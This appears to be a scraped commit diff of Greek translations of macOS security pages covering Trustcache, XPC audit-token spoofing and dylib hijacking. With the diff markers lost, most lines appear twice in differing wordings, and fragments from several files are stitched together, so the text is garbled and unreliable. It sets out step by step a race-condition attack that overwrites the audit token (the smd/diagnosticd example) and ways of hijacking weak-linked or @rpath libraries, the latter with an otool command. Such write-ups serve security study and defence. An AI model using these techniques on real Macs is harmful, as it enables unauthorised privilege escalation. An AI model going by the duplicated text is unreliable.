### Trustcache - Downgrade Attacks Prevention
Το Trustcache είναι μια αμυντική μέθοδος που εισήχθη σε μηχανές Apple Silicon που αποθηκεύει μια βάση δεδομένων CDHSAH των δυαδικών αρχείων της Apple, ώστε μόνο επιτρεπόμενα μη τροποποιημένα δυαδικά αρχεία να μπορούν να εκτελούνται. Αυτό αποτρέπει την εκτέλεση υποβαθμισμένων εκδόσεων.
Το Trustcache είναι μια αμυντική μέθοδος που εισήχθη σε μηχανές Apple Silicon που αποθηκεύει μια βάση δεδομένων CDHSAH των δυαδικών αρχείων της Apple, ώστε μόνο τα επιτρεπόμενα μη τροποποιημένα δυαδικά αρχεία να μπορούν να εκτελούνται. Αυτό αποτρέπει την εκτέλεση υποβαθμισμένων εκδόσεων.
### Code Examples
@ -51,7 +51,7 @@ return YES;
```
Το αντικείμενο NSXPCConnection έχει μια **ιδιωτική** ιδιότητα **`auditToken`** (αυτή που θα έπρεπε να χρησιμοποιείται αλλά μπορεί να αλλάξει) και μια **δημόσια** ιδιότητα **`processIdentifier`** (αυτή που δεν θα έπρεπε να χρησιμοποιείται).
Η διαδικασία σύνδεσης θα μπορούσε να επαληθευτεί με κάτι όπως:
Η διαδικασία σύνδεσης θα μπορούσε να επαληθευτεί με κάτι σαν:
```objectivec
[...]
SecRequirementRef requirementRef = NULL;

View File

@ -13,11 +13,11 @@
{{#endref}}
Π προς το παρόν θυμηθείτε ότι ([ορισμός από εδώ](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\
Τα mach messages αποστέλλονται μέσω ενός _mach port_, το οποίο είναι ένα **κανάλι επικοινωνίας με έναν δέκτη και πολλούς αποστολείς** που είναι ενσωματωμένο στον πυρήνα mach. **Πολλές διαδικασίες μπορούν να στείλουν μηνύματα** σε ένα mach port, αλλά σε οποιαδήποτε στιγμή **μόνο μία διαδικασία μπορεί να διαβάσει από αυτό**. Όπως και οι περιγραφείς αρχείων και οι υποδοχές, τα mach ports κατανέμονται και διαχειρίζονται από τον πυρήνα και οι διαδικασίες βλέπουν μόνο έναν ακέραιο αριθμό, τον οποίο μπορούν να χρησιμοποιήσουν για να υποδείξουν στον πυρήνα ποια από τα mach ports τους θέλουν να χρησιμοποιήσουν.
Τα mach messages αποστέλλονται μέσω ενός _mach port_, το οποίο είναι ένα **κανάλι επικοινωνίας με έναν μόνο δέκτη και πολλούς αποστολείς** που έχει ενσωματωθεί στον πυρήνα mach. **Πολλές διαδικασίες μπορούν να στείλουν μηνύματα** σε ένα mach port, αλλά σε οποιαδήποτε στιγμή **μόνο μία διαδικασία μπορεί να διαβάσει από αυτό**. Όπως και οι περιγραφείς αρχείων και οι υποδοχές, τα mach ports κατανέμονται και διαχειρίζονται από τον πυρήνα και οι διαδικασίες βλέπουν μόνο έναν ακέραιο αριθμό, τον οποίο μπορούν να χρησιμοποιήσουν για να υποδείξουν στον πυρήνα ποια από τα mach ports τους θέλουν να χρησιμοποιήσουν.
## XPC Connection
Αν δεν ξέρετε πώς να καθιερώσετε μια XPC σύνδεση, ελέγξτε:
Αν δεν ξέρετε πώς να δημιουργηθεί μια XPC σύνδεση, ελέγξτε:
{{#ref}}
../
@ -27,13 +27,13 @@
Αυτό που είναι ενδιαφέρον να γνωρίζετε είναι ότι **η αφαίρεση του XPC είναι μια σύνδεση ένα προς ένα**, αλλά βασίζεται σε μια τεχνολογία που **μπορεί να έχει πολλούς αποστολείς, οπότε:**
- Τα mach ports είναι ένας δέκτης, **πολλοί αποστολείς**.
- Τα mach ports είναι ένας μόνο δέκτης, **πολλοί αποστολείς**.
- Το audit token μιας XPC σύνδεσης είναι το audit token που **αντιγράφεται από το πιο πρόσφατα ληφθέν μήνυμα**.
- Η απόκτηση του **audit token** μιας XPC σύνδεσης είναι κρίσιμη για πολλές **ελέγχους ασφαλείας**.
Αν και η προηγούμενη κατάσταση ακούγεται υποσχόμενη, υπάρχουν ορισμένα σενάρια όπου αυτό δεν θα προκαλέσει προβλήματα ([από εδώ](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):
- Τα audit tokens χρησιμοποιούνται συχνά για έναν έλεγχο εξουσιοδότησης για να αποφασιστεί αν θα γίνει αποδεκτή μια σύνδεση. Καθώς αυτό συμβαίνει χρησιμοποιώντας ένα μήνυμα προς την υπηρεσία, **δεν έχει καθιερωθεί ακόμη καμία σύνδεση**. Περισσότερα μηνύματα σε αυτό το port θα αντιμετωπιστούν απλώς ως επιπλέον αιτήματα σύνδεσης. Έτσι, οποιοσδήποτε **έλεγχος πριν από την αποδοχή μιας σύνδεσης δεν είναι ευάλωτος** (αυτό σημαίνει επίσης ότι μέσα στο `-listener:shouldAcceptNewConnection:` το audit token είναι ασφαλές). Επομένως, **αναζητούμε XPC συνδέσεις που επαληθεύουν συγκεκριμένες ενέργειες**.
- Τα audit tokens χρησιμοποιούνται συχνά για έναν έλεγχο εξουσιοδότησης για να αποφασιστεί αν θα γίνει αποδεκτή μια σύνδεση. Καθώς αυτό συμβαίνει χρησιμοποιώντας ένα μήνυμα προς την υπηρεσία port, **δεν έχει δημιουργηθεί ακόμη σύνδεση**. Περισσότερα μηνύματα σε αυτό το port θα αντιμετωπιστούν απλώς ως επιπλέον αιτήματα σύνδεσης. Έτσι, οποιοσδήποτε **έλεγχος πριν από την αποδοχή μιας σύνδεσης δεν είναι ευάλωτος** (αυτό σημαίνει επίσης ότι μέσα στο `-listener:shouldAcceptNewConnection:` το audit token είναι ασφαλές). Επομένως, **αναζητούμε XPC συνδέσεις που επαληθεύουν συγκεκριμένες ενέργειες**.
- Οι χειριστές γεγονότων XPC διαχειρίζονται συγχρονισμένα. Αυτό σημαίνει ότι ο χειριστής γεγονότος για ένα μήνυμα πρέπει να ολοκληρωθεί πριν κληθεί για το επόμενο, ακόμη και σε ταυτόχρονες ουρές εκτέλεσης. Έτσι, μέσα σε έναν **χειριστή γεγονότος XPC, το audit token δεν μπορεί να αντικατασταθεί** από άλλα κανονικά (μη απαντητικά!) μηνύματα.
Δύο διαφορετικές μέθοδοι που μπορεί να είναι εκμεταλλεύσιμες:
@ -41,14 +41,14 @@
1. Variant1:
- **Εκμετάλλευση** **συνδέεται** με την υπηρεσία **A** και την υπηρεσία **B**
- Η υπηρεσία **B** μπορεί να καλέσει μια **προνομιακή λειτουργία** στην υπηρεσία A που ο χρήστης δεν μπορεί
- Η υπηρεσία **A** καλεί **`xpc_connection_get_audit_token`** ενώ _**δεν**_ είναι μέσα στον **χειριστή γεγονότων** για μια σύνδεση σε μια **`dispatch_async`**.
- Η υπηρεσία **A** καλεί **`xpc_connection_get_audit_token`** ενώ _**δεν**_ είναι μέσα στον **χειριστή γεγονότος** για μια σύνδεση σε μια **`dispatch_async`**.
- Έτσι, ένα **διαφορετικό** μήνυμα θα μπορούσε να **αντικαταστήσει το Audit Token** επειδή αποστέλλεται ασύγχρονα έξω από τον χειριστή γεγονότων.
- Η εκμετάλλευση περνά στην **υπηρεσία B το δικαίωμα ΑΠΟΣΤΟΛΗΣ στην υπηρεσία A**.
- Η εκμετάλλευση περνά στη **υπηρεσία B το δικαίωμα ΑΠΟΣΤΟΛΗΣ στην υπηρεσία A**.
- Έτσι, η svc **B** θα είναι στην πραγματικότητα **αποστέλλοντας** τα **μηνύματα** στην υπηρεσία **A**.
- Η **εκμετάλλευση** προσπαθεί να **καλέσει** την **προνομιακή ενέργεια.** Σε μια RC η svc **A** **ελέγχει** την εξουσιοδότηση αυτής της **ενέργειας** ενώ **η svc B αντικαθιστά το Audit token** (δίνοντας στην εκμετάλλευση πρόσβαση για να καλέσει την προνομιακή ενέργεια).
2. Variant 2:
- Η υπηρεσία **B** μπορεί να καλέσει μια **προνομιακή λειτουργία** στην υπηρεσία A που ο χρήστης δεν μπορεί
- Η εκμετάλλευση συνδέεται με **την υπηρεσία A** που **στέλνει** στην εκμετάλλευση ένα **μήνυμα που αναμένει απάντηση** σε μια συγκεκριμένη **θύρα απάντησης**.
- Η εκμετάλλευση συνδέεται με **την υπηρεσία A**, η οποία **στέλνει** στην εκμετάλλευση ένα **μήνυμα που αναμένει απάντηση** σε μια συγκεκριμένη **θύρα απάντησης**.
- Η εκμετάλλευση στέλνει **στην υπηρεσία** B ένα μήνυμα περνώντας **αυτή τη θύρα απάντησης**.
- Όταν η υπηρεσία **B απαντά**, στέλνει το μήνυμα στην υπηρεσία A, **ενώ** η **εκμετάλλευση** στέλνει ένα διαφορετικό **μήνυμα στην υπηρεσία A** προσπαθώντας να **φτάσει σε μια προνομιακή λειτουργία** και αναμένοντας ότι η απάντηση από την υπηρεσία B θα αντικαταστήσει το Audit token τη σωστή στιγμή (Race Condition).
@ -58,7 +58,7 @@
- Δύο mach υπηρεσίες **`A`** και **`B`** στις οποίες μπορούμε και οι δύο να συνδεθούμε (βάσει του προφίλ sandbox και των ελέγχων εξουσιοδότησης πριν από την αποδοχή της σύνδεσης).
- _**A**_ πρέπει να έχει έναν **έλεγχο εξουσιοδότησης** για μια συγκεκριμένη ενέργεια που μπορεί να περάσει η **`B`** (αλλά η εφαρμογή μας δεν μπορεί).
- Για παράδειγμα, αν η B έχει κάποιες **δικαιοδοσίες** ή εκτελείται ως **root**, μπορεί να της επιτραπεί να ζητήσει από την A να εκτελέσει μια προνομιακή ενέργεια.
- Για παράδειγμα, αν η B έχει κάποιες **δικαιοδοσίες** ή εκτελείται ως **root**, μπορεί να του επιτρέψει να ζητήσει από την A να εκτελέσει μια προνομιακή ενέργεια.
- Για αυτόν τον έλεγχο εξουσιοδότησης, η **`A`** αποκτά το audit token ασύγχρονα, για παράδειγμα καλώντας `xpc_connection_get_audit_token` από **`dispatch_async`**.
> [!CAUTION]
@ -72,28 +72,28 @@
1. Ξεκινήστε μια **σύνδεση** με την υπηρεσία που ονομάζεται `smd` χρησιμοποιώντας το πρότυπο XPC.
2. Δημιουργήστε μια δευτερεύουσα **σύνδεση** με `diagnosticd`. Αντίθετα με τη φυσιολογική διαδικασία, αντί να δημιουργήσετε και να στείλετε δύο νέες mach ports, το δικαίωμα αποστολής του πελάτη αντικαθίσταται με ένα αντίγραφο του **δικαιώματος αποστολής** που σχετίζεται με τη σύνδεση `smd`.
3. Ως αποτέλεσμα, τα μηνύματα XPC μπορούν να αποστέλλονται στο `diagnosticd`, αλλά οι απαντήσεις από το `diagnosticd` ανακατευθύνονται στο `smd`. Για το `smd`, φαίνεται ότι τα μηνύματα και από τον χρήστη και από το `diagnosticd` προέρχονται από την ίδια σύνδεση.
3. Ως αποτέλεσμα, τα XPC μηνύματα μπορούν να αποσταλούν στο `diagnosticd`, αλλά οι απαντήσεις από το `diagnosticd` ανακατευθύνονται στο `smd`. Για το `smd`, φαίνεται ότι τα μηνύματα και από τον χρήστη και από το `diagnosticd` προέρχονται από την ίδια σύνδεση.
![Image depicting the exploit process](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png)
4. Το επόμενο βήμα περιλαμβάνει την εντολή στο `diagnosticd` να ξεκινήσει την παρακολούθηση μιας επιλεγμένης διαδικασίας (πιθανώς της δικής του του χρήστη). Ταυτόχρονα, μια πλημμύρα κανονικών 1004 μηνυμάτων αποστέλλεται στο `smd`. Ο σκοπός εδώ είναι να εγκαταστήσει ένα εργαλείο με αυξημένα προνόμια.
5. Αυτή η ενέργεια προκαλεί μια race condition μέσα στη λειτουργία `handle_bless`. Ο χρόνος είναι κρίσιμος: η κλήση της συνάρτησης `xpc_connection_get_pid` πρέπει να επιστρέψει το PID της διαδικασίας του χρήστη (καθώς το προνομιακό εργαλείο βρίσκεται στο πακέτο εφαρμογής του χρήστη). Ωστόσο, η συνάρτηση `xpc_connection_get_audit_token`, συγκεκριμένα μέσα στη υπορουτίνα `connection_is_authorized`, πρέπει να αναφέρεται στο audit token που ανήκει στο `diagnosticd`.
4. Το επόμενο βήμα περιλαμβάνει την εντολή στο `diagnosticd` να ξεκινήσει την παρακολούθηση μιας επιλεγμένης διαδικασίας (πιθανώς της δικής του του χρήστη). Ταυτόχρονα, μια πλημμύρα κανονικών 1004 μηνυμάτων αποστέλλεται στο `smd`. Ο σκοπός εδώ είναι να εγκαταστήσει ένα εργαλείο με ανυψωμένα δικαιώματα.
5. Αυτή η ενέργεια προκαλεί μια race condition μέσα στη λειτουργία `handle_bless`. Ο χρόνος είναι κρίσιμος: η κλήση της λειτουργίας `xpc_connection_get_pid` πρέπει να επιστρέψει το PID της διαδικασίας του χρήστη (καθώς το προνομιακό εργαλείο βρίσκεται στο πακέτο της εφαρμογής του χρήστη). Ωστόσο, η λειτουργία `xpc_connection_get_audit_token`, συγκεκριμένα μέσα στη υπορουτίνα `connection_is_authorized`, πρέπει να αναφέρεται στο audit token που ανήκει στο `diagnosticd`.
## Variant 2: reply forwarding
Σε ένα περιβάλλον XPC (Διαδικασία-Διαδικασία Επικοινωνίας), αν και οι χειριστές γεγονότων δεν εκτελούνται ταυτόχρονα, η διαχείριση των μηνυμάτων απάντησης έχει μια μοναδική συμπεριφορά. Συγκεκριμένα, υπάρχουν δύο διακριτές μέθοδοι για την αποστολή μηνυμάτων που αναμένουν απάντηση:
Σε ένα περιβάλλον XPC (Διαδικασία-Διαδικασία Επικοινωνία), αν και οι χειριστές γεγονότων δεν εκτελούνται ταυτόχρονα, η διαχείριση των απαντητικών μηνυμάτων έχει μια μοναδική συμπεριφορά. Συγκεκριμένα, υπάρχουν δύο διακριτές μέθοδοι για την αποστολή μηνυμάτων που αναμένουν απάντηση:
1. **`xpc_connection_send_message_with_reply`**: Εδώ, το μήνυμα XPC λαμβάνεται και επεξεργάζεται σε μια καθορισμένη ουρά.
2. **`xpc_connection_send_message_with_reply_sync`**: Αντίθετα, σε αυτή τη μέθοδο, το μήνυμα XPC λαμβάνεται και επεξεργάζεται στην τρέχουσα ουρά εκτέλεσης.
1. **`xpc_connection_send_message_with_reply`**: Εδώ, το XPC μήνυμα λαμβάνεται και επεξεργάζεται σε μια καθορισμένη ουρά.
2. **`xpc_connection_send_message_with_reply_sync`**: Αντίθετα, σε αυτή τη μέθοδο, το XPC μήνυμα λαμβάνεται και επεξεργάζεται στην τρέχουσα ουρά εκτέλεσης.
Αυτή η διάκριση είναι κρίσιμη επειδή επιτρέπει την πιθανότητα **τα πακέτα απάντησης να αναλύονται ταυτόχρονα με την εκτέλεση ενός χειριστή γεγονότων XPC**. Σημειωτέον, ενώ το `_xpc_connection_set_creds` εφαρμόζει κλείδωμα για να προστατεύσει από την μερική αντικατάσταση του audit token, δεν επεκτείνει αυτή την προστασία σε ολόκληρο το αντικείμενο σύνδεσης. Ως εκ τούτου, αυτό δημιουργεί μια ευπάθεια όπου το audit token μπορεί να αντικατασταθεί κατά τη διάρκεια της περιόδου μεταξύ της ανάλυσης ενός πακέτου και της εκτέλεσης του χειριστή γεγονότων του.
Για να εκμεταλλευτείτε αυτή την ευπάθεια, απαιτείται η εξής ρύθμιση:
- Δύο mach υπηρεσίες, αναφερόμενες ως **`A`** και **`B`**, και οι δύο μπορούν να καθιερώσουν μια σύνδεση.
- Δύο mach υπηρεσίες, αναφερόμενες ως **`A`** και **`B`**, και οι δύο μπορούν να δημιουργήσουν μια σύνδεση.
- Η υπηρεσία **`A`** θα πρέπει να περιλαμβάνει έναν έλεγχο εξουσιοδότησης για μια συγκεκριμένη ενέργεια που μόνο η **`B`** μπορεί να εκτελέσει (η εφαρμογή του χρήστη δεν μπορεί).
- Η υπηρεσία **`A`** θα πρέπει να στείλει ένα μήνυμα που αναμένει απάντηση.
- Ο χρήστης μπορεί να στείλει ένα μήνυμα στην **`B`** στο οποίο θα απαντήσει.
- Ο χρήστης μπορεί να στείλει ένα μήνυμα στην **`B`** που θα απαντήσει.
Η διαδικασία εκμετάλλευσης περιλαμβάνει τα εξής βήματα:
@ -109,16 +109,16 @@
## Discovery Problems
- **Δυσκολίες στην Εύρεση Περιπτώσεων**: Η αναζήτηση για περιπτώσεις χρήσης του `xpc_connection_get_audit_token` ήταν δύσκολη, τόσο στατικά όσο και δυναμικά.
- **Μεθοδολογία**: Χρησιμοποιήθηκε το Frida για να συνδεθεί η συνάρτηση `xpc_connection_get_audit_token`, φιλτράροντας κλήσεις που δεν προέρχονται από χειριστές γεγονότων. Ωστόσο, αυτή η μέθοδος περιορίστηκε στη συνδεδεμένη διαδικασία και απαιτούσε ενεργή χρήση.
- **Εργαλεία Ανάλυσης**: Χρησιμοποιήθηκαν εργαλεία όπως IDA/Ghidra για την εξέταση προσβάσιμων mach υπηρεσιών, αλλά η διαδικασία ήταν χρονοβόρα, περιπλέκεται από κλήσεις που περιλαμβάνουν την κοινή μνήμη dyld.
- **Περιορισμοί Σενάριων**: Οι προσπάθειες να αυτοματοποιηθούν οι αναλύσεις για κλήσεις προς `xpc_connection_get_audit_token` από μπλοκ `dispatch_async` εμποδίστηκαν από τις πολυπλοκότητες στην ανάλυση μπλοκ και τις αλληλεπιδράσεις με την κοινή μνήμη dyld.
- **Δυσκολίες στην Εύρεση Περιστατικών**: Η αναζήτηση για περιστατικά χρήσης του `xpc_connection_get_audit_token` ήταν δύσκολη, τόσο στατικά όσο και δυναμικά.
- **Μεθοδολογία**: Η Frida χρησιμοποιήθηκε για να συνδεθεί στη λειτουργία `xpc_connection_get_audit_token`, φιλτράροντας κλήσεις που δεν προέρχονται από χειριστές γεγονότων. Ωστόσο, αυτή η μέθοδος περιορίστηκε στη συνδεδεμένη διαδικασία και απαιτούσε ενεργή χρήση.
- **Εργαλεία Ανάλυσης**: Εργαλεία όπως το IDA/Ghidra χρησιμοποιήθηκαν για την εξέταση προσβάσιμων mach υπηρεσιών, αλλά η διαδικασία ήταν χρονοβόρα, περιπλέκοντας τις κλήσεις που περιλάμβαναν την κοινή μνήμη dyld.
- **Περιορισμοί Σενάριων**: Οι προσπάθειες να αυτοματοποιηθούν οι αναλύσεις για κλήσεις προς το `xpc_connection_get_audit_token` από μπλοκ `dispatch_async` εμποδίστηκαν από τις πολυπλοκότητες στην ανάλυση μπλοκ και τις αλληλεπιδράσεις με την κοινή μνήμη dyld.
## The fix <a href="#the-fix" id="the-fix"></a>
- **Αναφερόμενα Ζητήματα**: Υποβλήθηκε αναφορά στην Apple που περιγράφει τα γενικά και συγκεκριμένα ζητήματα που βρέθηκαν στο `smd`.
- **Απάντηση της Apple**: Η Apple αντιμετώπισε το ζήτημα στο `smd` αντικαθιστώντας το `xpc_connection_get_audit_token` με το `xpc_dictionary_get_audit_token`.
- **Φύση της Διόρθωσης**: Η συνάρτηση `xpc_dictionary_get_audit_token` θεωρείται ασφαλής καθώς ανακτά το audit token απευθείας από το mach μήνυμα που σχετίζεται με το ληφθέν μήνυμα XPC. Ωστόσο, δεν είναι μέρος του δημόσιου API, παρόμοια με το `xpc_connection_get_audit_token`.
- **Φύση της Διόρθωσης**: Η λειτουργία `xpc_dictionary_get_audit_token` θεωρείται ασφαλής καθώς ανακτά το audit token απευθείας από το mach μήνυμα που συνδέεται με το ληφθέν XPC μήνυμα. Ωστόσο, δεν είναι μέρος του δημόσιου API, παρόμοια με το `xpc_connection_get_audit_token`.
- **Απουσία Ευρύτερης Διόρθωσης**: Παραμένει ασαφές γιατί η Apple δεν υλοποίησε μια πιο εκτενή διόρθωση, όπως η απόρριψη μηνυμάτων που δεν ευθυγραμμίζονται με το αποθηκευμένο audit token της σύνδεσης. Η πιθανότητα νόμιμων αλλαγών audit token σε ορισμένα σενάρια (π.χ. χρήση `setuid`) μπορεί να είναι παράγοντας.
- **Τρέχουσα Κατάσταση**: Το ζήτημα παραμένει στο iOS 17 και macOS 14, αποτελώντας πρόκληση για όσους επιδιώκουν να το εντοπίσουν και να το κατανοήσουν.

View File

@ -19,19 +19,19 @@ macos-dyld-process.md
Αυτή η τεχνική μπορεί επίσης να **χρησιμοποιηθεί ως τεχνική ASEP** καθώς κάθε εφαρμογή που είναι εγκατεστημένη έχει ένα plist που ονομάζεται "Info.plist" που επιτρέπει την **ανάθεση περιβαλλοντικών μεταβλητών** χρησιμοποιώντας ένα κλειδί που ονομάζεται `LSEnvironmental`.
> [!NOTE]
> [!TIP]
> Από το 2012, **η Apple έχει μειώσει δραστικά τη δύναμη** του **`DYLD_INSERT_LIBRARIES`**.
>
> Πηγαίνετε στον κώδικα και **ελέγξτε το `src/dyld.cpp`**. Στη λειτουργία **`pruneEnvironmentVariables`** μπορείτε να δείτε ότι οι μεταβλητές **`DYLD_*`** αφαιρούνται.
> Πηγαίνετε στον κώδικα και **ελέγξτε το `src/dyld.cpp`**. Στη συνάρτηση **`pruneEnvironmentVariables`** μπορείτε να δείτε ότι οι μεταβλητές **`DYLD_*`** αφαιρούνται.
>
> Στη λειτουργία **`processRestricted`** ορίζεται ο λόγος της περιορισμού. Ελέγχοντας αυτόν τον κώδικα μπορείτε να δείτε ότι οι λόγοι είναι:
> Στη συνάρτηση **`processRestricted`** ορίζεται ο λόγος της περιορισμού. Ελέγχοντας αυτόν τον κώδικα μπορείτε να δείτε ότι οι λόγοι είναι:
>
> - Το δυαδικό αρχείο είναι `setuid/setgid`
> - Υπάρχει τμήμα `__RESTRICT/__restrict` στο macho δυαδικό αρχείο.
> - Το λογισμικό έχει δικαιώματα (hardened runtime) χωρίς το δικαίωμα [`com.apple.security.cs.allow-dyld-environment-variables`](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables)
> - Ελέγξτε τα **δικαιώματα** ενός δυαδικού αρχείου με: `codesign -dv --entitlements :- </path/to/bin>`
> - Ελέγξτε τα **δικαιώματα** ενός δυαδικού αρχείου με: `codesign -dv --entitlements :- </path/to/bin>`
>
> Σε πιο ενημερωμένες εκδόσεις μπορείτε να βρείτε αυτή τη λογική στο δεύτερο μέρος της λειτουργίας **`configureProcessRestrictions`.** Ωστόσο, αυτό που εκτελείται σε νεότερες εκδόσεις είναι οι **έλεγχοι αρχής της λειτουργίας** (μπορείτε να αφαιρέσετε τα ifs που σχετίζονται με το iOS ή την προσομοίωση καθώς αυτά δεν θα χρησιμοποιηθούν στο macOS).
> Σε πιο ενημερωμένες εκδόσεις μπορείτε να βρείτε αυτή τη λογική στο δεύτερο μέρος της συνάρτησης **`configureProcessRestrictions`.** Ωστόσο, αυτό που εκτελείται σε νεότερες εκδόσεις είναι οι **έλεγχοι αρχής της συνάρτησης** (μπορείτε να αφαιρέσετε τα ifs που σχετίζονται με το iOS ή την προσομοίωση καθώς αυτά δεν θα χρησιμοποιηθούν στο macOS.
### Library Validation
@ -57,28 +57,28 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
## Dylib Hijacking
> [!CAUTION]
> Θυμηθείτε ότι **οι προηγούμενοι περιορισμοί επικύρωσης βιβλιοθηκών ισχύουν επίσης** για την εκτέλεση επιθέσεων Dylib hijacking.
> Θυμηθείτε ότι **οι προηγούμενοι περιορισμοί επικύρωσης βιβλιοθήκης ισχύουν επίσης** για την εκτέλεση επιθέσεων Dylib hijacking.
Όπως και στα Windows, στο MacOS μπορείτε επίσης να **καταλάβετε dylibs** για να κάνετε τις **εφαρμογές** να **εκτελούν** **τυχαίο** **κώδικα** (καλά, στην πραγματικότητα από έναν κανονικό χρήστη αυτό δεν θα ήταν δυνατό καθώς μπορεί να χρειαστείτε άδεια TCC για να γράψετε μέσα σε ένα `.app` bundle και να καταλάβετε μια βιβλιοθήκη).\
Ωστόσο, ο τρόπος που οι εφαρμογές **MacOS** **φορτώνουν** βιβλιοθήκες είναι **πιο περιορισμένος** από ότι στα Windows. Αυτό σημαίνει ότι οι προγραμματιστές **malware** μπορούν ακόμα να χρησιμοποιήσουν αυτή την τεχνική για **stealth**, αλλά η πιθανότητα να μπορέσουν να **καταχραστούν αυτό για να κλιμακώσουν προνόμια είναι πολύ χαμηλότερη**.
Όπως και στα Windows, στο MacOS μπορείτε επίσης να **καταχραστείτε dylibs** για να κάνετε τις **εφαρμογές** να **εκτελούν** **τυχαίο** **κώδικα** (καλά, στην πραγματικότητα από έναν κανονικό χρήστη αυτό δεν θα ήταν δυνατό καθώς μπορεί να χρειαστείτε άδεια TCC για να γράψετε μέσα σε ένα `.app` bundle και να καταχραστείτε μια βιβλιοθήκη).\
Ωστόσο, ο τρόπος που οι **εφαρμογές MacOS** **φορτώνουν** βιβλιοθήκες είναι **πιο περιορισμένος** από ότι στα Windows. Αυτό σημαίνει ότι οι **προγραμματιστές κακόβουλου λογισμικού** μπορούν να χρησιμοποιήσουν αυτή την τεχνική για **απόκρυψη**, αλλά η πιθανότητα να μπορέσουν να **καταχραστούν αυτό για να κλιμακώσουν προνόμια είναι πολύ χαμηλότερη**.
Πρώτα απ' όλα, είναι **πιο συνηθισμένο** να βρείτε ότι τα **MacOS δυαδικά αρχεία υποδεικνύουν την πλήρη διαδρομή** στις βιβλιοθήκες που πρέπει να φορτωθούν. Και δεύτερον, **MacOS ποτέ δεν ψάχνει** στους φακέλους του **$PATH** για βιβλιοθήκες.
Πρώτα απ' όλα, είναι **πιο συνηθισμένο** να βρείτε ότι τα **δυαδικά αρχεία MacOS υποδεικνύουν την πλήρη διαδρομή** προς τις βιβλιοθήκες που πρέπει να φορτωθούν. Και δεύτερον, **το MacOS ποτέ δεν ψάχνει** στους φακέλους του **$PATH** για βιβλιοθήκες.
Το **κύριο** μέρος του **κώδικα** που σχετίζεται με αυτή τη λειτουργικότητα είναι στη **`ImageLoader::recursiveLoadLibraries`** στο `ImageLoader.cpp`.
Η **κύρια** μέρος του **κώδικα** που σχετίζεται με αυτή τη λειτουργικότητα είναι στη **`ImageLoader::recursiveLoadLibraries`** στο `ImageLoader.cpp`.
Υπάρχουν **4 διαφορετικές εντολές κεφαλίδας** που μπορεί να χρησιμοποιήσει ένα macho δυαδικό αρχείο για να φορτώσει βιβλιοθήκες:
- Η εντολή **`LC_LOAD_DYLIB`** είναι η κοινή εντολή για να φορτώσετε μια dylib.
- Η εντολή **`LC_LOAD_DYLIB`** είναι η κοινή εντολή για να φορτώσει μια dylib.
- Η εντολή **`LC_LOAD_WEAK_DYLIB`** λειτουργεί όπως η προηγούμενη, αλλά αν η dylib δεν βρεθεί, η εκτέλεση συνεχίζεται χωρίς κανένα σφάλμα.
- Η εντολή **`LC_REEXPORT_DYLIB`** προξενεί (ή επανεξάγει) τα σύμβολα από μια διαφορετική βιβλιοθήκη.
- Η εντολή **`LC_LOAD_UPWARD_DYLIB`** χρησιμοποιείται όταν δύο βιβλιοθήκες εξαρτώνται η μία από την άλλη (αυτό ονομάζεται _upward dependency_).
Ωστόσο, υπάρχουν **2 τύποι Dylib hijacking**:
Ωστόσο, υπάρχουν **2 τύποι καταχρήσεων dylib**:
- **Απουσία αδύνατα συνδεδεμένων βιβλιοθηκών**: Αυτό σημαίνει ότι η εφαρμογή θα προσπαθήσει να φορτώσει μια βιβλιοθήκη που δεν υπάρχει ρυθμισμένη με **LC_LOAD_WEAK_DYLIB**. Στη συνέχεια, **αν ένας επιτιθέμενος τοποθετήσει μια dylib όπου αναμένεται να φορτωθεί**.
- Το γεγονός ότι ο σύνδεσμος είναι "αδύνατος" σημαίνει ότι η εφαρμογή θα συνεχίσει να εκτελείται ακόμα και αν η βιβλιοθήκη δεν βρεθεί.
- Ο **κώδικας που σχετίζεται** με αυτό είναι στη λειτουργία `ImageLoaderMachO::doGetDependentLibraries` του `ImageLoaderMachO.cpp` όπου `lib->required` είναι μόνο `false` όταν `LC_LOAD_WEAK_DYLIB` είναι true.
- **Βρείτε αδύνατα συνδεδεμένες βιβλιοθήκες** σε δυαδικά αρχεία με (έχετε αργότερα ένα παράδειγμα για το πώς να δημιουργήσετε βιβλιοθήκες hijacking):
- **Απουσία αδύναμων συνδεδεμένων βιβλιοθηκών**: Αυτό σημαίνει ότι η εφαρμογή θα προσπαθήσει να φορτώσει μια βιβλιοθήκη που δεν υπάρχει ρυθμισμένη με **LC_LOAD_WEAK_DYLIB**. Στη συνέχεια, **αν ένας επιτιθέμενος τοποθετήσει μια dylib όπου αναμένεται να φορτωθεί**.
- Το γεγονός ότι ο σύνδεσμος είναι "αδύναμος" σημαίνει ότι η εφαρμογή θα συνεχίσει να εκτελείται ακόμα και αν η βιβλιοθήκη δεν βρεθεί.
- Ο **κώδικας που σχετίζεται** με αυτό είναι στη συνάρτηση `ImageLoaderMachO::doGetDependentLibraries` του `ImageLoaderMachO.cpp` όπου `lib->required` είναι μόνο `false` όταν `LC_LOAD_WEAK_DYLIB` είναι true.
- **Βρείτε αδύναμες συνδεδεμένες βιβλιοθήκες** σε δυαδικά αρχεία με (έχετε αργότερα ένα παράδειγμα για το πώς να δημιουργήσετε βιβλιοθήκες καταχρήσεων):
- ```bash
otool -l </path/to/bin> | grep LC_LOAD_WEAK_DYLIB -A 5 cmd LC_LOAD_WEAK_DYLIB
cmdsize 56
@ -88,9 +88,9 @@ current version 1.0.0
compatibility version 1.0.0
```
- **Ρυθμισμένο με @rpath**: Τα Mach-O δυαδικά αρχεία μπορούν να έχουν τις εντολές **`LC_RPATH`** και **`LC_LOAD_DYLIB`**. Βασισμένο στις **τιμές** αυτών των εντολών, οι **βιβλιοθήκες** θα φορτωθούν από **διαφορετικούς φακέλους**.
- Η **`LC_RPATH`** περιέχει τις διαδρομές ορισμένων φακέλων που χρησιμοποιούνται για να φορτώσουν βιβλιοθήκες από το δυαδικό αρχείο.
